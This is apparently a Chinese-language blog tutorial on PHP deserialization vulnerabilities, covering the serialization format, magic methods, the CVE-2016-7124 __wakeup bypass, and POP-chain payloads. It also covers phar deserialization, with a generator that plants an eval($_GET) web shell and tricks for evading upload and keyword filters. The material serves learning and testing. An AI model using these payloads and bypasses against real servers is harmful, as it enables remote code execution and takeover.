PHP反序列化

php通过序列化和反序列化来存储和传递一些数据。

序列化和反序列化

serialize和unserialize

serialize() 将一个对象转换成字符串,保存对象的值方便之后的传递与使用。
unserialize()将序列化了的字符串还原为一个对象。

php序列化格式

1
2
3
4
5
6
7
8
9
10
<?php
class people
{
public $name = "test";
public $age = '18';
}
$class = new people();
$class_ser = serialize($class);
print_r($class_ser);
?>

结果:O:6:"people":2:{s:4:"name";s:4:"test";s:3:"age";s:2:"18";}

除了代表对象的O,还有:

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array 数组 
b - boolean布尔型
d - double双精度型
i - integer
o - common object一般对象
r - reference
s - string
S - escaped binary string
C - custom object 自定义对象
O - class
N - null
R - pointer reference
U - unicode string unicode编码的字符串

其中,S表示转义的二进制字符串,不可见字符都会表示成\xx的形式,比如

1
2
3
4
5
$a = chr(0);
var_dump(serialize($a)); ==> string(8) "s:1:"<0x00>";"

$s = 'S:1:"\00";';
var_dump(unserialize($s)); ==> string(1) "<0x00>"

对于类对象的序列化

  • var和public声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化。
  • protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见,因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。(这里的\0表示ascii码为0的字符)
  • private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段前面会加上\0<declared class name>\0的前缀。(这里的表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。
  • 字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的

一个例子:

1
2
3
4
5
6
7
8
9
10
11
<?php
class people
{
public $name = "test";
private $age = '18';
protected $home="sichuan";
}
$class = new people();
$class_ser = serialize($class);
echo $class_ser;
?>

结果:O:6:"people":3:{s:4:"name";s:4:"test";s:11:"<0x00>people<0x00>age";s:2:"18";s:7:"<0x00>*<0x00>home";s:7:"sichuan";}

魔术方法

魔术方法 触发条件
__construct() 构造函数,创建对象时触发
__destruct() 析构函数,对象被销毁时触发
__call() 在对象上下文中调用不可访问或不存在的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问或不存在的属性读取数据
__set() 用于将数据写入不可访问或不存在的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__sleep() 使用serialize()函数时触发
__wakeup() 被unserialize()反序列化时触发
__toString() 一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则会产生错误
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__set_state() 当调用 var_export()导出类时,此静态方法会被调用
__clone() 对象复制可以通过clone关键字来完成,此时将调用对象的__clone()方法
__debuginfo() 转储对象以获取应显示的属性时,此方法由var_dump()调用

php反序列化漏洞

php使用unserialize()函数将序列化了的字符串反序列化为对象,而当传入unserialize()的参数可控时,可以通过传入特定字符串来控制对象内部的变量。
漏洞利用条件:unserialize()参数可控

魔法函数可能造成的威胁

PHP中反序列化导致实例化对象,除了利用PHP本身的漏洞以外,我们通常找__destruct__wakeup__toString等方法,看看这些方法中是否有可利用的代码。其中__destruct在对象销毁的时候被调用,__wakeup在唤醒(反序列化)的时候被调用,__toString在对象被转换成字符串的时候被调用。

优先级:__wakeup>__toString>__destruct

__toString():
其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
常见__tostring触发条件:

  • echo ($obj) / print($obj) 打印时会触发
  • 字符串连接时
    "I am {$obj}"'test'.$obj
  • 格式化字符串时
    sprintf('i am %s', $obj)
  • 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
    if($obj == 'admin')
  • 格式化SQL语句,绑定参数时
  • 使用in_array进行比较时
    in_array($obj, ['admin', 'guest']) 数组中有字符串的时候会被调用
  • 使用switch进行比较时
    1
    2
    3
    4
    5
    6
    7
    8
    switch ($obj) {
    case 'admin':
    # code...
    break;
    default:
    # code...
    break;
    }

__wakeup()方法的绕过

CVE-2016-7124漏洞:
__wakeup 触发于unserilize()调用之前, 当反序列化时的字符串所对应的对象的数目大于实际数目时,__wakeup()函数就不会被调用. 并且不会重建为对象, 但是会触发其他的魔术方法比如__destruct()

适用版本:

PHP5.x系列为5.6.25之前
php7.x系列为7.0.10之前

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class test
{
public $code="echo 'nonono';";
public function __wakeup()
{
$this->code="echo 'nonono';";
}
public function __destruct()
{
eval($this->code);
}
}
$str=$_GET['str'];
$obj=unserialize($str);

此时,正常的序列化字符串为:O:4:"test":1:{s:4:"code";s:18:"echo phpversion();";}
可以修改对象属性数目来绕过__wakeupO:4:"test":2:{s:4:"code";s:18:"echo phpversion();";}

php反序列化字符串的一个特性

对象长度前添加一个"+"号,反序列化时不会有影响
例如:
O:4:"test":1:{s:4:"code";s:18:"echo phpversion();";} == O:+4:"test":1:{s:4:"code";s:18:"echo phpversion();";}
由此,可以绕过一些简单的正则匹配,比如:preg_match('/O:\d:/', $data)

php7.2+反序列化的特点

php7.2+以上的版本反序列化时对属性类型不敏感,具体属性类型是public还是其他取决于类的定义,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class A{
protected $name = 123;
public $age = 456;

public function __destruct()
{
var_dump($this->name);
echo "<br>";
var_dump($this->age);
}
}

$a = 'O:1:"A":2:{s:4:"name";i:123;s:3:"age";s:3:"456";}';
$obj = unserialize($a);

var_dump($obj);
echo "<br>";

在php7.2以上的版本执行以上代码时会将将nameage反序列化为protectpublic的属性

而在php7.2以下的版本则不会

php7反序列化的特性

看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

// php7+
class A{
public $var='';
function execute(){
var_dump('ok');
eval($this->var);
}
function __wakeup(){
echo 'wakeup1';
$this->var="var_dump(1);";
}
function __destruct(){
echo '<br>desctuct A</br>';
}
}
class B{
public $obj;
function __destruct(){
$this->obj->execute();
echo '<br>desctuct B</br>';
}
}

unserialize($_GET[1]);

payload:O:1:"B":1:{s:3:"obj";O:1:"A":2:{s:3:"var";s:14:"var_dump(123);";;}}

通过调试源码可以发现,在php7中,反序列化过程是将序列化字符串依次分解,获得反序列化后的类型和值,在这个过程中,会将反序列化的对象生成并保存为临时对象,如果反序列化失败,则将调用相应函数来摧毁临时对象,并释放内容。在释放已经生成的临时对象时,仍然会调用相应的魔法函数(如__destruct
实际上,可以描述为:
获取反序列化字符串 –> 根据类型进行反序列化 —> 查表找到对应的反序列化类 –> 根据字符串判断元素个数 –> new出新实例 –> 判断是否具有魔法函数__wakeup并标记 –> 迭代解析化剩下的字符串 —> 释放空间并判断是否具有具有标记 —> 开启调用__wakeup

分析一下上面的payload反序列化的整个过程:

  1. 创建B类的实例
  2. 判断B没有__wakeup
  3. B.obj = A类的实例
  4. 创建A类的实例
  5. 判断A__wakeup并标记
  6. A.var="var_dump(123);"
  7. A实例出错
  8. B实例出错,反序列化错误
  9. 进行B实例的销毁,因为B实例没有__wakeup标记,所以执行B__destruct后进行B实例的销毁
  10. B实例的销毁包含了A实例的销毁,所以进行A实例的销毁,因为A实例有__wakeup标记,所以不会执行__destruct,直接销毁
  11. unserialize函数返回false

phar反序列化

关于phar

简单的说,phar就是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://php://等类似,也是一种流包装器。
phar结构由4个部分组成:

  1. stub
    phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>
  2. manifest
    压缩文件的属性等信息,以序列化存储
  3. contents
    压缩文件的内容
  4. signature
    签名,放在文件末尾

需要注意的:

  • stub部分的文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件来绕过一些上传限制
  • manifest部分的反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
  • signature部分,如果修改了前面的内容,则需要重新计算签名,计算签名的脚本:
    1
    2
    3
    4
    5
    6
    7
    8
    from hashlib import sha1
    with open('a.phar', 'rb') as file:
    f = file.read()
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型和GBMB标识
    newf = s + sha1(s).digest() + h # 数据+签名+(类型+GBMB)
    with open('a.new.phar', 'wb') as file:
    file.write(newf) # 写入新文件

利用

利用条件:

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为“跳板”
  3. 要有文件操作函数,如file_exists()fopen()file_get_contents()file()
  4. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

测试:
如果有文件test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

生成phar的文件phar.phar可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Testobj
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

这样,当我们访问phar.php时,将会生成test.phar的phar文件。再将其上传到服务器上,最后以phar格式访问该文件就可getshell

绕过

更改文件格式
当上传文件的格式有特殊要求,例如gif等,就可以修改phar文件的stub部分的内容,让其写入图片的文件头,即可绕过这类检测。

1
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头

除此之外,phar文件名字可以随意更改,因此针对后缀名的检测可以很简单的绕过。

绕过Phar关键字检测
如果对包含的文件进行了phar开头的过滤,比如:

1
2
3
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die();
}

可以使用如下方式绕过:

1
2
3
4
5
6
7
8
// 即使用filter伪协议来进行绕过
php://filter/resource=phar://test.phar

// 使用bzip2协议来进行绕过
compress.bzip2://phar://test.phar

//使用zlib协议进行绕过
compress.zlib://phar://test.phar

绕过__HALT_COMPILER检测

方法一:将序列化后的内容放到压缩包注释中,压缩为zip文件,如下:

1
2
3
4
5
6
7
$a = new user();
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('a.txt', 'test');
$zip->setArchiveComment($a);
$zip->close();

利用时直接phar://phar.zip即可反序列化成功

方法二:将phar文件使用gzip压缩,使用时直接phar包含gzip压缩后的文件即可

session反序列化

关于php session及session反序列化

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/01/27/php/php反序列化/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog